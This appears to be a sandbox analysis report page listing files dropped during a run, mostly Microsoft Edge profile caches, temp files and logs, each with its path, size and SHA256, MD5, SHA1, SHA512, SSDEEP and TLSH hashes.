
Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2faa1b1440ef2e1a669881f74143ac7857706d1524c89e682f713c8f3d38ab23
MD5 6a131a77b0edda45a2895a3d33a867a0
SHA1 2be1a2b3794fa396138562716cc7e4a4f17caa66
SHA512 20cb3d576349a78e3fec9e8b5e0726835f04e7dd74bb2a15edba4417611cdd35bc2d2525fdae7879e8d01d4643f26df1c05a44fb125105ad0bcee8ccd0257571
TLSH
T1F6D02B3176B99CA1D193103D00C386A014BAB0009C0501843B22C0050C401091330206
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4fc7dcf7387fe20ebfe8604da12039dc01420b7c4f9203598cac361fa8e97926
MD5 c3187641f7a33614939d03f0d43ad5e0
SHA1 82b3d0d3fa3092b29b9c8b55ce9fb9bba31c9c23
SHA512 ac0b9a042b5883e5cb0458cdeae19e251d85b3b88bb576dec24d66444085275504065eccb22c8674162977df0a0d2f69723a5923be85a9c5ea85f46af2ce9edc
TLSH
T13FD02B3176B99CA1D193103900C286A014BAB000EC0501843A2280050C40109133120A
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 84008e1469627cb4093232f4804bdd66e4ec134b6c5cfd3954f47a2c08da0a1a
MD5 f4ef72cb96cdd191595a320a0e432a6a
SHA1 d09d73fb6a5cc5e5d22e0a69dc1141c4e57964c4
SHA512 6c46da93fc11bc3892647a319799058970cd3cc6b9dd9b1e26d84523bc6fe2e5bd8244ba977dcfae72c45220eeef0d957d4b87ee7aec70148ba4d1cca8d955de
TLSH
T1EBD080325979ADF1E176117D01D1455065BD7553EE0502887711C8054C742465671F9E
MD5 SHA1 SHA512 TLSH

Submit Download

04210df8-3cce-4ec3-829e-c89bdfc32d5f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\04210df8-3cce-4ec3-829e-c89bdfc32d5f.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4039cb9e-60e2-4578-aceb-5abffed2ce83.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\4039cb9e-60e2-4578-aceb-5abffed2ce83.tmp
Size 13KB
SHA256 3a809aa98ac9699609311d377c75078aa6b8c383184eee8b161709da003373ce
MD5 292c6b62608de4c07d1d9dad85248957
SHA1 dd438034de255b4ec39024c30a61eefcb4b9f3aa
SHA512 528517320c7c0d843c56b385221a80378e6b2fbd8de94671c65b0cbb2c26581b2505cd69a063f3f2901d8a4a622fd7673bfd31844d5af233316757caf3a91be8
SSDEEP 192:sxRjRjCc1/fspscWpVzyYh9KzoA8pLlSF/g6+WNEKao/wdx3HVVIp4a7cngtIgVI:sxRjMc1/fspscWvzb9HA/5x/k1VP0y
TLSH
T1EA52C716AA34A93B9CC6D21DFA65BF23D3F91032A5D05E49E6FC891C04F76DD620380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

66dccb30-a663-4e67-a9be-faf0486fe1f7.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\66dccb30-a663-4e67-a9be-faf0486fe1f7.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

6d9091f6-d729-4092-82b7-2b260d0fea72.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\6d9091f6-d729-4092-82b7-2b260d0fea72.tmp
Size 27KB
SHA256 08356a0271b55e90081532cb891a8dec1063becd87c1addc46c7f8eec4b2e5f4
MD5 b9aa3f436b55a4f1f77a05ddbaaf1f8b
SHA1 e9efff389c5ebb8c608bb255414d3f817fa00677
SHA512 29566093999585373a2f536c50e5436b045e1c1a8e198c8bb24115867fda3469c950cb53f4a41eb26526692a7aede6ed4098af4121288bcb6cf999f8192ca9c5
SSDEEP 768:L7aa4W7pLuLb6DWgptfvD8F1+UoAYDCx9Tuqh0VfUC9xbog/OVQdNMMroHlO:L7aa42Eb6DWgptfvDu1jaXrMXk
TLSH
T1A2C2DB7B640CCB7F4F900ADDAC197E9B6D6802CB9698CD4047FE945C02C6BEA911A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6e7b7c42-134e-41c6-8695-6b13efc5536a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\6e7b7c42-134e-41c6-8695-6b13efc5536a.tmp
Size 13KB
SHA256 3693fbfc4fbf9f5808f15d43263004ca37d599f6b687331d34f2b9e5b4cc750b
MD5 809e909452e7bb2e6501b41cf7764521
SHA1 35e9c65b92244ad3e833466fea4a7fa53313ed7c
SHA512 03005244008380840d866410942f786ba0c5f6d5680cdb8839257b10fa23da85827a7d1be0da0c1b3d732a71352ee7158618f64da86118339c586b7839749580
SSDEEP 192:sxRjRjCc1/fspsdvWpVzYZDfKzoA8pLlSF/g6+WNEKao/wdx3HVVIp4a7cjGtIgx:sxRjMc1/fsps1Wvzm7HA/5x/k1VPWvp
TLSH
T17452C856AA34A93B9CC7D22DFA55BF23D3F91432A1D05E49E6FC891C04E76DD620380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000063

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000063
Size 52KB
SHA256 4458de1b63b3e22eb1bcf89493f67b2e65b37be3de83cf78112811ba86265dc4
MD5 fb3cb54b4b2aa66c90b0372fbd6f5834
SHA1 f4931ce6d65aa7ea9194516726e390de79eeee4c
SHA512 4b140267266d872de43ef344c17af6ed89d814474f7cbd469937317783ef3b4fec7a943fbdb2803e921b8621f25915230cf51ed27b343bfe4d7600b5bb6c1c5b
SSDEEP 1536:CKTKTDLy678afZ1L70scuaLMAUhEhwhp2:CmKTDL77vf70s8LMAUiwhg
TLSH
T1323301E114405C02FAF503B13C84E73A5A75CC577F5A9D87CA8C0FBEB954AAD788C89A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000065

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000065
Size 97KB
SHA256 5a4df1ae6c0751b4f3e11f9fa9553d03efef2f7238294e2a3c8218e6166f16c3
MD5 f8c9a5cb9a2a31a6abce0e89984ed20c
SHA1 7e97a79cfea563d79da47f700a44061db6ab1684
SHA512 0082acc31c4abbb3d34c5835c357576c848cd1ba54d2622b6b3a6f0e028788b70deebcd6ce7619034185fb5ce52c1ff2cbf1257b18981c24edca072daa6bb063
SSDEEP 3072:Fp9Y8uSQBBhifBsnxtI6d7AE5Q9J+ckya:HG8TerAshlW/+nH
TLSH
T141A312CCD9664943EC815FB972D0C18FC3D7348EFB6E5162D68AE25618E00476EF84D6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000066

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000066
Size 58KB
SHA256 6e1739e799ad6de65fbbb20f59e2eb2288811fd980caeb55fabe9b2c5c9c3015
MD5 8deac1f73878c8087bfee9836cca2d57
SHA1 85afca1e067705f30393f7c96815640cead91db0
SHA512 110fec3a40eabb50f2516ad136162842c1c09655cbfda88490ac3d932a14dcc172776cb075b656ababd24826aa45be858920337c1ccb9d159445eede79cd6362
SSDEEP 1536:HPnPdSxVJauWtmDHHK45X37Bp02XXCugvC+7U:/PADJayDnKY3tjLp+7U
TLSH
T10F4302E8A007E736F54A1F7C834952ED3BB741D6039B61999AD067A71C438B0EDCFA09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 702c2cada7d422a4f879e2264d5510dc05289ed2dd1d0eb5bec6151102a1116e
MD5 d28b0f6143c976ccce953efbeeee857f
SHA1 1844b5823af1a307afac5dff51d8679dd4b457cc
SHA512 823c033ca16658c25b4b40cd4f29317346f3f8cef4b3dfbf881a0767e0f1ef02cda47201fe566e247ad4d8e4187cfa75b0d899db904eb402763e9aa8e8150183
TLSH
T1838177419AA44757F79E907D49CAF0473BB4C6A1E3A75DE209BADDFA8BE73C0B901100
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 067b9e129cd549f9336993b8acf534b7cf003b195a3e9c4d806e5f138330d4ff
MD5 bdaaecfc87389cf0d35dd6f9da00d01f
SHA1 0a9a827378248fdd6e7dcfca42d5101ceaf67b73
SHA512 4ed4bb444cc947e120fab848a49588949a945f989876802e322f15689d592adff53cada13d948155baf01ef88ade03ee0cb197570f235c84fd45e633b598a884
TLSH
T1A7518981EEA40156F79F843989C6F0473FB4C6A1E3E35D6208BAD9FEDBE73946900251
MD5 SHA1 SHA512 TLSH

Submit Download

fe486526-174e-4038-b6ca-3ef3fef3fac1.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\fe486526-174e-4038-b6ca-3ef3fef3fac1.tmp
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

dasherSettingSchema.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.111.1_0\dasherSettingSchema.json
Size 854B
SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
MD5 4ec1df2da46182103d2ffc3b92d20ca5
SHA1 fb9d1ba3710cf31a87165317c6edc110e98994ce
SHA512 939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d
TLSH
T1B1014C25C354799B04C7627ABCA95001E630818B027665707DDE4D7C6F2E8A700BF37E
MD5 SHA1 SHA512 TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 224KB
SHA256 34ded8c71d81567f9a05ff630c7d6c36683937fdd7caf96bce10cb3ded97d22c
MD5 c92a9d85b71befbed10be874fbbfc766
SHA1 c9487aba6e7b7da7b87855acc4d37215f633f776
SHA512 856f5ab961293b64fa07fdc919c0923d233421d9a57663836f198caa358750bbf617f254dba446420554f1aea18838abb379b9cffede84f8b5f2cd8e2edfc975
SSDEEP 96:eiVnHtejzH+bF+UIYysX0fxQp97oEHt/DfLjLqL/cjbbEOVpZf24JkMfXSFR+CFq:eiVgH+bF+UI3iWGVoWN3qL/MVVV63
TLSH
T18C24111F5F743712CDBD813668E744A35C6DF03F8B1366DA686118B5CEE2642A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1fb58206-4fcc-427f-ab51-11f25cf0919d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\1fb58206-4fcc-427f-ab51-11f25cf0919d.tmp
Size 5KB
SHA256 c01606f4a14e19418ae14477cd7177e17059d9774ae868718619424b1c932749
MD5 8c02336acd886bb59a7a954ff6099206
SHA1 856e7978d056f1d0e44e1caeae4a01f3a4d9aa55
SHA512 84e153b024ae95cb4c73e07fea709bfc2338ca6e54d1c5bb0301123d6ce91dcb220ad51b3f0c75739ddcb8f04aee4d3784dc627fd341981e122a7b6af8a254f2
SSDEEP 96:FaVijhnZwBumkzULurAuLunursuOurVluzu/uHuL0u3u/Auk:FaVijhnZklk4LGA2eGslGVlmCMq0Q1h
TLSH
T1CBB19FF7C3E49E7DDA0152F4AB142E1FCE690924536C3D56C4D46E1BA3E29B1E28094F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

99dec02f-6741-4bbb-9eb4-dc001c492a02.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\99dec02f-6741-4bbb-9eb4-dc001c492a02.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

f4844e7a-3fc5-480c-9d63-b673ddd0656e.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\f4844e7a-3fc5-480c-9d63-b673ddd0656e.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Size 338B
SHA256 6d83f1ef7ceb7f29ff71fa2989dd1b43df769b3fdf6442cb91123480cf3c3a3a
MD5 acebf7d65d41f302a90f11e2ee212124
SHA1 53ad5892f566c8bb5368a85b63c8e8e7fcd81c0b
SHA512 99296ea7313b9686b99dc217789bca96097a3102d43a85bdd28c354efedec2e14727955a918792d40739c87421e147ab5623231d4592601216ced1af5d022048
TLSH
T155E026A406C8C13EB26A2447073D970883E6F4B7D2C43D0F3F81CA44614BD04B2A2288
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Size 347B
SHA256 3bb21a51bba7cddf3870d1f52b8946a9dcbdcce53ad86bfa01de32621182958a
MD5 e4ec12f4af527766bd845023ec0acb0c
SHA1 b05679ecd509f80cafb247c9fa12ff557b60a92e
SHA512 4e56c06440caafab2a883e2006e3f860104a91a1a8bc6b1f22814179460ad35408c13b5afaf15a1fa1d854609eb2c3e59fe3e655dc19095a512e20f3e3cc131b
TLSH
T1E3E04FA016C9C33FB199309B4679F30C87A6F467E7D4291A3F09D684A60B944F393795
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log
Size 175B
SHA256 80d1388b9a7150eb0291175fe693dd7b6bce910c3e4fff51e94841d31d771dbe
MD5 cb63c64828a27af7253afb7c7d986654
SHA1 8a54aeb86f79cc69e6f11278d874cebd328ae466
SHA512 e0dbdd6931c9272e0b52bb2ef7895121f6324379f584899343342a057737a9837cc476842ea781a1de5c17a20c06e0a7d24c0ed6ea41fdd95bb99296e8810f9a
TLSH
T135C09BD55F903023FDCA5D3D0DAB53041720C4752F74CF57D28430901C0A285FF61145
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Size 323B
SHA256 25d385eac6e7d6a4a0fc63117ec0ad3bbffe10ccbb18582b47f7b67b5dda9074
MD5 52aefce3128e78c1cccf528a3f70d260
SHA1 15f9179fac323b847d7de38036ca00768ea773d2
SHA512 7be63d4d40a0cb70e136ac58f5643229615ed16d14c2c7fa785df8ed73817b3478b373fd9c8a9f16d71b2383b997d84b6b950e1e18ec2363168322ab83d498a9
TLSH
T174E0867096C9C23EA29860830679E70CC7F0E89B97D43A8F9B0C8984A507544B7BAAC4
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 29514b14a2e4236985924dc43316e05c7e82549fac396738aa71cfc9374e7393
MD5 af1840e3c6765a7322b9999fd6e86c66
SHA1 6c808871faa7e07639321cc3553a9e67aa4e3570
SHA512 f69fb827f0e0a889bedc007d850ea707a752cbfa0a9f54bdb708dd04a9a80c6ff770f09a46c901ac88974cfde3c671ba58c9f106815b1e582530df2f64d2495b
SSDEEP 48:K0XaDX5ZpCbBsxISnCK9n1NCxHSYE1XryLdcRtfLPwbD2jISlwK9l1Hwx1gYmnvA:KEYAKdiCiKkK7KI5GKCES5
TLSH
T178914152357B82603CBE298944A5A72A025135B33758F52B7FFC40B79E2EE044DFE9C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e5a45f82-1d7f-44d9-bbc2-cd3522cd9e4e.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\e5a45f82-1d7f-44d9-bbc2-cd3522cd9e4e.tmp
Size 13KB
SHA256 841904078172aef108f12cc659c77d7d2e4f9b951b93be54181666e625dea82c
MD5 bd1fe36d00eac822c901242b07097559
SHA1 4bc832f5411949059397054bb977acdfaded1548
SHA512 2b3485def033a19fbb6da643c8633be4ec76562355daeb446de18b51fbe3aaafe2ae8b1d4bc5f3ad6559e6c928b4da46b8e3411856402c14ed547ba8166028a4
SSDEEP 192:sxRsRjCc1/fspsdvWpVzYZDfKzoA8pLlSF/g6+WNEKao/wdx3HVVIp4a7cjGtIgx:sxRsMc1/fsps1Wvzm7HA/5x/k1VPWvp
TLSH
T11252C856AA34A93B9CC7D22DFA55BF23D3F91422A1D05E49E6FC891C04E76DD620380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Size 322B
SHA256 7d8d24eb7750a6e53398e2c76b79eec085364d9d5177e634eacda4dd9295f00e
MD5 a1c82a5e28f8897948bbfc1942f6f643
SHA1 244fcf22461f5236a042b8bd92ab4c7aa53e34dc
SHA512 0b2f84adab6b42916f818236c8f936f2f1d0e644c4cdc814d7d75b74d3b49c114391ac6e88e1f9a2e4805fbb5449ba3e9d65de1b18eb3c84e670a8c66c25b5c0
TLSH
T101E02624EEC8C13FF07D208B023A570CA3A12853EAC0298F1F01C888B007501B386A81
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Size 1KB
SHA256 15985559389787bd99b155cd9b2cb614b9421b91744b7726d85d3bae8b93c12b
MD5 bbecead6efe2bcfa813c48f00d0f6d1a
SHA1 b7ac24bc611cd5c19eae3862e55d46e4b4532bec
SHA512 25dfcfe35ec473890821a228e41561b7f1b440928950960e9a7d8324e4d10572c83d59728119e84a300a544bdda8219a42c3de072ede1c749513247ab14339e1
TLSH
T10021B156F330C148E14E867E547A9B2A1738D8428FBCED0F847920346E75F051E4B6E1
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Size 340B
SHA256 edd183f76f8a7083ab5aac3c2f79d0a359c787d52f019d3b7eab4d4fabe5e3ec
MD5 aeec93b8d2b62c9cbd40c96d7e892ac1
SHA1 4c641f426651ee0a2082399d3fda1bda6cc86dec
SHA512 283a0d083a86b58e1f1abe18828fc1a95b03cc2b291279745a14c775ccc46d484e6fec48709f3b6359c1d882a0f6daf798f727af25e3b14dc3b78f751a5e642b
TLSH
T160E02620E9C8C13FE0A92087017BA74CA3913893EAC02E4F1F01CD88A146542F78AA81
MD5 SHA1 SHA512 TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1
Size 264KB
SHA256 d555beb425bbd8773661db80e93c65488d72acadec02fc2e737e52afc7ca4de2
MD5 ea0b4052e0c2c7c3202642fd2277d261
SHA1 0188c7c57599cd6ffb9f3e8bbafb290e716d472b
SHA512 99a932d1b23b3a91881456249bc0ab902753cfccb371be7025997764b1d6f189826811c91b8d302706a89d8b0339a5365366c2ba6a183d5da237eb998b364242
SSDEEP 3:MsEllllkEthXllkl2zEflKR7:/M/xT02zD
TLSH
T1A64404C47FC00C07F70430304051C3701370D4310511574334D544335DC75700C44000
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1
Size 264KB
SHA256 54e7a0af3c1ff07f5781857e6e561d6934daf491c63545229a226e8c75efff2e
MD5 d0c4b891863611d751bea5f83ee368e3
SHA1 80ad15913acebf661b4a22301861b1fc47ea3db6
SHA512 06b8654156c6ace146642b09670dd7c88db6380a06faba1bd685a3ecd8612eeca19e4ac64e4cb5532efc869d478b0e2fd600cda06f0fc5c7da7d91577163a128
SSDEEP 3:MsEllllkEthXllkl2zEfl5R7:/M/xT02z6h
TLSH
T1FC4404047FC00405D70011344051C3501374D4304715574734F15C335CC75504D00140
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Variations
Size 86B
SHA256 f7b24f2eb3d5eb0550527490395d2f61c3d2fe74bb9cb345197dad81b58b5fed
MD5 961e3604f228b0d10541ebf921500c86
SHA1 6e00570d9f78d9cfebe67d4da5efe546543949a7
SHA512 535f930afd2ef50282715c7e48859cc2d7b354ff4e6c156b94d5a2815f589b33189ffedfcaf4456525283e993087f9f560d84cfcf497d189ab8101510a09c472
TLSH
T196A02407C473C00FF4144051C45C034114FCC447011DD0015074D31314D40CF03F5435
MD5 SHA1 SHA512 TLSH

Submit Download

afe22aa1-c04b-49d7-825a-1e0bd1e61c80.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\afe22aa1-c04b-49d7-825a-1e0bd1e61c80.tmp
Size 44KB
SHA256 a889c870d3419ea4e392af829acf3354af8f5fb3c83145209c28635f3a7f3fe7
MD5 b6ae29e147d792ebbf1f941b3cdea208
SHA1 ab65716b6cadfd005725a7202ff9c76ac5f78fb1
SHA512 840e5a8cd4edb4a1dd42174773e5317e3ecab5186a2ac69529dc5a931ca3c3ce3e18e395e522a49885457ff159f3e3993483bbda733cb38d72ea384e636a2aea
SSDEEP 768:I/UxvxjgC+B3bigm1rXLZUcDmGA5b65Q92RQMPbYT9aPvq:VZj3+B33EAF65dQtUPvq
TLSH
T1D713BF3E9C50AD7F98BEB740364E7266AEA84133C1E494A4C7E92F0CC5B758DF306946
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e051f13d-5c82-46ad-bf64-76a27700dba8.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\e051f13d-5c82-46ad-bf64-76a27700dba8.tmp
Size 39KB
SHA256 fac3f00754d1e2ad99fdf3b24023b9f227a67656b6431578ffdd5702ff4091f3
MD5 7286be95dd4ac68eca0ace363962b742
SHA1 01395e2a25bea060952395e001a59a9cd1d7c97c
SHA512 485e6f469401feb3a8ccd806d1d3f1ce9a492f54698b45ef05908cddf8105e1b3520d82040c4273a5dedf6fcd93a58df93d12e9dde091079738439f34b4672a2
SSDEEP 768://UxvxjgC+B3fI4gm1rXLZUFDmGA5b65Q92RQMPq0Fj0O:SZj3+B3cPAF65dQkFQO
TLSH
T10E03BF31ECA5ED73ACF996803687B39AEFB80573C4C595E098E56E0D098768D170B81B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
Size 158KB
SHA256 3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
MD5 9c18c4721b560ec55f0d5de055144d5c
SHA1 6af37a3bda916cac276ad5879c9f61262d9ae523
SHA512 51466928eb8d3cf7b917919c98bd8168453583d2c3dc5836036d87ffd0d2c732ab8450212a880fc6de199ea569a96993ba0d250a5012160d2d72211880695f92
SSDEEP 3072:5ZwEurOxn8zXnHc2qHNYEU/rUHCVJWGdi0Ha5HnXk9TFzBsuht7yGik:5ZwPOx8D85UIHEI0HaZ09JzKStjik
TLSH
T1CFF3E13E7EDE891AD80B10BB7F16B18BD80D8E0B460AB44B769D80155B3668D1BD1CFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6f18f2d6-2bb0-48f7-a0ed-1571866c0c12.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\6f18f2d6-2bb0-48f7-a0ed-1571866c0c12.tmp
Size 132B
SHA256 cf4125d94d82b448cb33d6f462cf53eec00f2ee8165fa00f1b9c3bdba48e3328
MD5 8126a600a3d95922fb651e3a6f104f68
SHA1 e386add1c2c1d9ca74461e5ce0d1b271d689160f
SHA512 5a0e81111f0d9a0f7943b99f7bad8162de0d3f99fffa9d8f8ab466fa9c7c4249808bedfa6e4d26426bc2d1a422e2155900ba71adc222617a5f0880dc60b89a93
TLSH
T122C02B8F542E47CBBAA5152D42D40B3B4690CD60F199E6B449FA5640006435CC608C47
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

fb534f6e-885c-4b73-894e-6d3e60aafc8f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\fb534f6e-885c-4b73-894e-6d3e60aafc8f.tmp
Size 33KB
SHA256 656c5b96800d3f75ebb48523479e7fcc5e86d3239d78bc87cc33ff1e34dc8b86
MD5 da056c265517293e42b28345fdd79d03
SHA1 ecd403f8a8f13b52c84a808391e5a2669471115d
SHA512 6f6bd7ad26c40bde1032943719b0b836d02456e4f6ce8092b94bbab53fe7c952c79d9f089f94e565b43371a7f6371c3123562c794f99883e599d52f4aee87261
SSDEEP 768:Lt3Gigm1rXLZUEDmGA5b65Q92RQMPQIYjtLM:Lt3QsAF65dQaYJY
TLSH
T15EF2AE72EC61DE739DBAA5817687B286AFB84173C5C84A94D4D6BF0C04C36CE130B91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 441be87e5bb708e7697f95441b9cd3a2e2352e3f9779f2514c0240ada59bb5f1
MD5 aa9a810737a78dfcd308f2d9bee71dfa
SHA1 d2d9b7e18bce196516fbdd1495d94fed2285aee2
SHA512 351e7cfc7362032e164a7cca32ddbd125f63c58dee1c541d8379e67bcf8d87281ae6053dbd2b8da56e29e0d6a4941060a029f5b49ad0df767b7a64c2468fd77e
TLSH
T13121BE23B3DC86D4C8450076DCCEAC1132B69BD7449EDEDB7B84D144E43F288CE60250
MD5 SHA1 SHA512 TLSH

Submit Download

5790204b-2b80-4811-90e5-352c6173222d.tmp

Path C:\Users\Admin\AppData\Local\Temp\5790204b-2b80-4811-90e5-352c6173222d.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
